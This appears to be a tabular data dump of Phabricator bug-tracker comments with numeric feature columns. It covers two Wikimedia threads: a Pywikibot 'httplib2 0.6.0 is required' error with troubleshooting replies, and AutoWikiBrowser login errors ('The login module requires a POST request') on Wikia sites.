```",Low,25.0,1431795434,1431795798.0,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-fvuf2va7ohlkac5lfy7d,task_description,invalid,True,c3,1,True,True,True,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6,0.4,``CODE``
609906,httplib2 0.6.0 is required,Done: T126880,,,1455389168,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-fvuf2va7ohlkac5lfy7d,task_subcomment,,True,c3,3,True,,,32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Done: T126880
609898,httplib2 0.6.0 is required,"Very odd. Try removing the directory and re-installing from a nightly: http://tools.wmflabs.org/pywikibot/core_stable.zip

If the problem persists, please create a //new// task, and please add the output of 

```
pwb.py version
```

therein.",,,1455387375,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fvuf2va7ohlkac5lfy7d,task_subcomment,,True,c3,3,True,,,32,True,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,2.0,5.0,12.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,3.5813953488372094,0.7209302325581395,"Very odd. Try removing the directory and re-installing from a nightly: URL

If the problem persists, please create a //new// task, and please add the output of 

``CODE``

therein."
609895,httplib2 0.6.0 is required,"```
C:\PWB>pwb.py generate_user_files
NOTE: 'user-config.py' was not found!
WARNING: Running on Windows and transliteration_target is not set.
Please see https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:Pywikibot/Windows
Unknown arguments: generate_user_files

C:\PWB>

```
Regards.",,,1455386975,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-fvuf2va7ohlkac5lfy7d,task_subcomment,,True,c3,3,True,,,32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.125,0.625,"``CODE``
Regards."
609894,httplib2 0.6.0 is required,Try `pwb.py generate_user_files` ?,,,1455386626,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fvuf2va7ohlkac5lfy7d,task_subcomment,,True,c3,3,True,,,32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.0,Try CODE ?
609892,httplib2 0.6.0 is required,I'm getting this with `generate_user_files.py`. Any idea how to solve it? (I have latests Pywiki and Python versions installed). Thanks.,,,1455386444,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-fvuf2va7ohlkac5lfy7d,task_subcomment,,True,c3,3,True,,,32,True,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,26.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,7.0,11.0,4.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5925925925925926,0.8888888888888888,I'm getting this with CODE. Any idea how to solve it? (I have latests Pywiki and Python versions installed). Thanks.
459845,httplib2 0.6.0 is required,"The error comes from `pywikibot/comms/http.py`:

```
# Verify that a working httplib2 is present.
try:
    import httplib2
except ImportError:
    print(""Error: Python module httplib2 >= 0.6.0 is required."")
    sys.exit(1)
```
",,,1431795797,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fvuf2va7ohlkac5lfy7d,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5384615384615383,0.6923076923076923,"The error comes from CODE:

``CODE``
"
459843,httplib2 0.6.0 is required,"Try

```
import pwb
```

before the `import pywikibot` to make pwb.py patch up your sys.path.",,,1431795753,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fvuf2va7ohlkac5lfy7d,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.266666666666667,0.8666666666666667,"Try

``CODE`CODEimport pywikibot` to make pwb.py patch up your sys.path."
99270,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"//[[https://en.wikipedia.org/wiki/Special:Contributions/92.137.107.192|92.137.107.192]] ([[ https://en.wikipedia.org/wiki/User talk:92.137.107.192|talk]]) 15:24, 17 June 2013 (UTC) wrote://

**Exception:**
```
ApiErrorException
```
**Message:**
```
Bot API returned the following error: 'The login module requires a POST request'
```
**Call stack:**

```
   à WikiFunctions.API.ApiEdit.CheckForErrors(String xml, String action)
   à WikiFunctions.API.ApiEdit.Login(String username, String password, String domain)
   à WikiFunctions.Profiles.AWBProfilesForm.PerformLogin(String username, String password)
```
----

**OS:** Microsoft Windows NT 6.2.9200.0
**Version:** AutoWikiBrowser (5.5.0.2), WikiFunctions (5.5.0.2), revision 9117 (2013-04-30 20:44:43)<br>AutoWikiBrowser (5.5.5.0), WikiFunctions (5.5.5.0), revision 10470 (2014-09-22 01:51:36)
**NET:** 2.0.50727.6400
**Site:** http://dc-comics.wikia.com",Low,25.0,1431717107,1437066442.0,PHID-USER-4j7xntcqqwei7izzlfnd,False,PHID-USER-4j7xntcqqwei7izzlfnd,False,PHID-TASK-ytkfr5krtzfrl6be4oav,task_description,duplicate,True,c3,1,True,True,True,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.5,0.0,0.0,0.0,16.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,3.627450980392157,0.5588235294117647,"//[[URL ([[ URL talk:92.137.107.192|talk]]) 15:24, 17 June 2013 (UTC) wrote://

**Exception:**
``CODE`CODE`CODE`CODE`CODE``
----

**OS:** Microsoft Windows NT 6.2.9200.0
**Version:** AutoWikiBrowser (5.5.0.2), WikiFunctions (5.5.0.2), revision 9117 (2013-04-30 20:44:43)<br>AutoWikiBrowser (5.5.5.0), WikiFunctions (5.5.5.0), revision 10470 (2014-09-22 01:51:36)
**NET:** 2.0.50727.6400
**Site:** URL"
492488,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"@Magioladitis (ignoring my first 2 lines above) Please use the 'Merge In' feauture, for easier navigation, or something? Just a tip :)",,,1437066489,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,3,True,,,2,True,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,3.0,0.0,7.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,17.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,7.0,7.0,3.0,7.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.8275862068965516,0.9310344827586207,"SCREEN_NAME (ignoring my first 2 lines above) Please use the 'Merge In' feauture, for easier navigation, or something? Just a tip :)"
492486,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),Re-opening to test a Phabrcator-thing.,,,1437066393,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.4,0.9,Re-opening to test a Phabrcator-thing.
492443,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),Duplicate of https://phabricator.wikimedia.org/T105160,,,1437063514,,PHID-USER-juznrlc2myguw74yvjkn,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,Duplicate of URL
459450,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"//[[https://en.wikipedia.org/wiki/User:Darots|Darots]] ([[https://en.wikipedia.org/wiki/User talk:Darots|talk]]) 03:11, 22 January 2015 (UTC) wrote://

**Exception:**

```
ApiErrorException
```
**Message:**

```
Bot API returned the following error: 'The login module requires a POST request'
```
**Call stack:**

```
   en WikiFunctions.API.ApiEdit.CheckForErrors(String xml, String action)
   en WikiFunctions.API.ApiEdit.Login(String username, String password, String domain)
   en WikiFunctions.Profiles.AWBProfilesForm.PerformLogin(String username, String password)
```
----

**OS:** Microsoft Windows NT 6.1.7601 Service Pack 1
**Version:** AutoWikiBrowser (5.5.6.0), WikiFunctions (5.5.6.0), revision 10538 (2014-12-23 21:37:52)
**NET:** 2.0.50727.5485
**Site:** http://losjuegosdelhambre.wikia.com",,,1431720189,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.3563218390804597,0.5287356321839081,"//[[URL ([[URL talk:Darots|talk]]) 03:11, 22 January 2015 (UTC) wrote://

**Exception:**

``CODE`CODE`CODE`CODE`CODE``
----

**OS:** Microsoft Windows NT 6.1.7601 Service Pack 1
**Version:** AutoWikiBrowser (5.5.6.0), WikiFunctions (5.5.6.0), revision 10538 (2014-12-23 21:37:52)
**NET:** 2.0.50727.5485
**Site:** URL"
459449,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"//[[https://en.wikipedia.org/wiki/User:Darots|Darots]] ([[https://en.wikipedia.org/wiki/User talk:Darots|talk]]) 03:11, 22 January 2015 (UTC) wrote://

```
**Exception:**

```
ApiErrorException
```
**Message:**

```
Bot API returned the following error: 'The login module requires a POST request'
```
**Call stack:**

```
   en WikiFunctions.API.ApiEdit.CheckForErrors(String xml, String action)
   en WikiFunctions.API.ApiEdit.Login(String username, String password, String domain)
   en WikiFunctions.Profiles.AWBProfilesForm.PerformLogin(String username, String password)
```
----

**OS:** Microsoft Windows NT 6.1.7601 Service Pack 1
**Version:** AutoWikiBrowser (5.5.6.0), WikiFunctions (5.5.6.0), revision 10538 (2014-12-23 21:37:52)
**NET:** 2.0.50727.5485
**Site:** http://losjuegosdelhambre.wikia.com",,,1431720176,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.4691358024691357,0.5555555555555556,"//[[URL ([[URL talk:Darots|talk]]) 03:11, 22 January 2015 (UTC) wrote://

``CODE`CODE`CODE`CODE`CODE`CODE``
----

**OS:** Microsoft Windows NT 6.1.7601 Service Pack 1
**Version:** AutoWikiBrowser (5.5.6.0), WikiFunctions (5.5.6.0), revision 10538 (2014-12-23 21:37:52)
**NET:** 2.0.50727.5485
**Site:** URL"
459403,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"//[[https://en.wikipedia.org/wiki/User:Darots|Darots]] ([[https://en.wikipedia.org/wiki/User talk:Darots|talk]]) 03:11, 22 January 2015 (UTC) wrote://

```
<table><tr><td>Exception:<td><code>ApiErrorException</code><tr><td>Message:<td><code>Bot API returned the following error: 'The login module requires a POST request'</code><tr><td>Call stack:<td><pre>   en WikiFunctions.API.ApiEdit.CheckForErrors(String xml, String action)
   en WikiFunctions.API.ApiEdit.Login(String username, String password, String domain)
   en WikiFunctions.Profiles.AWBProfilesForm.PerformLogin(String username, String password)</pre></tr>
</table>
WikiFunctions.API.ApiErrorException: Bot API returned the following error: 'The login module requires a POST request'
   en WikiFunctions.API.ApiEdit.CheckForErrors(String xml, String action)
   en WikiFunctions.API.ApiEdit.Login(String username, String password, String domain)
   en WikiFunctions.Profiles.AWBProfilesForm.PerformLogin(String username, String password)
```
**OS:** Microsoft Windows NT 6.1.7601 Service Pack 1
**Version:** AutoWikiBrowser (5.5.6.0), WikiFunctions (5.5.6.0), revision 10538 (2014-12-23 21:37:52)
**NET:** 2.0.50727.5485
**Site:** http://losjuegosdelhambre.wikia.com",,,1431717479,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.1645569620253164,0.5569620253164557,"//[[URL ([[URL talk:Darots|talk]]) 03:11, 22 January 2015 (UTC) wrote://

``CODE``
**OS:** Microsoft Windows NT 6.1.7601 Service Pack 1
**Version:** AutoWikiBrowser (5.5.6.0), WikiFunctions (5.5.6.0), revision 10538 (2014-12-23 21:37:52)
**NET:** 2.0.50727.5485
**Site:** URL"
459402,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"//[[https://en.wikipedia.org/wiki/User:Magioladitis|Magioladitis]] ([[https://en.wikipedia.org/wiki/User talk:Magioladitis|talk]]) 16:37, 10 December 2014 (UTC) wrote://

In AutoWikiBrowser (5.5.5.0), WikiFunctions (5.5.5.0), revision 10470 (2014-09-22 01:51:36) again.",,,1431717395,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.6818181818181817,0.6590909090909091,"//[[URL ([[URL talk:Magioladitis|talk]]) 16:37, 10 December 2014 (UTC) wrote://

In AutoWikiBrowser (5.5.5.0), WikiFunctions (5.5.5.0), revision 10470 (2014-09-22 01:51:36) again."
459401,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"//[[https://en.wikipedia.org/wiki/User:Magioladitis|Magioladitis]] ([[https://en.wikipedia.org/wiki/User talk:Magioladitis|talk]]) 20:25, 8 August 2014 (UTC) wrote://

In http://wici.porth.ac.uk too and version 5.5.3.0",,,1431717360,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.5185185185185186,0.8148148148148148,"//[[URL ([[URL talk:Magioladitis|talk]]) 20:25, 8 August 2014 (UTC) wrote://

In URL too and version 5.5.3.0"
459400,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"//[[https://en.wikipedia.org/wiki/User:Magioladitis|Magioladitis]] ([[https://en.wikipedia.org/wiki/User talk:Magioladitis|talk]]) 20:24, 8 August 2014 (UTC) wrote://

Bug reported in http://wiki.openstreetmap.org too.",,,1431717321,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.3333333333333335,0.8148148148148148,"//[[URL ([[URL talk:Magioladitis|talk]]) 20:24, 8 August 2014 (UTC) wrote://

Bug reported in URL too."
459399,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"//[[https://en.wikipedia.org/wiki/User:Magioladitis|Magioladitis]] ([[https://en.wikipedia.org/wiki/User talk:Magioladitis|talk]]) 09:11, 9 August 2013 (UTC) wrote://

@Reedy sent a message to Wikia complaining about the bug.",,,1431717243,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ytkfr5krtzfrl6be4oav,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,3.8125,0.875,"//[[URL ([[URL talk:Magioladitis|talk]]) 09:11, 9 August 2013 (UTC) wrote://
SCREEN_NAME sent a message to Wikia complaining about the bug."
459397,[Migrated] Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"//[[https://en.wikipedia.org/wiki/User:Magioladitis|Magioladitis]] ([[https://en.wikipedia.org/wiki/User talk:Magioladitis|talk]]) 08:52, 9 August 2013 (UTC) wrote://

